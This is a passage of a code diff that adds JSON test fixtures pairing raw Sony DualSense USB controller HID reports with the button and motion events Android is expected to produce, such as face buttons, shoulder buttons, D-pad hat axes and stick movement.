+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SHARE",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_motioneventtests.json
new file mode 100644
index 0000000..eb6eed8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_motioneventtests.json
@@ -0,0 +1,369 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+        [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0x01, 0x3f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x00, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00,
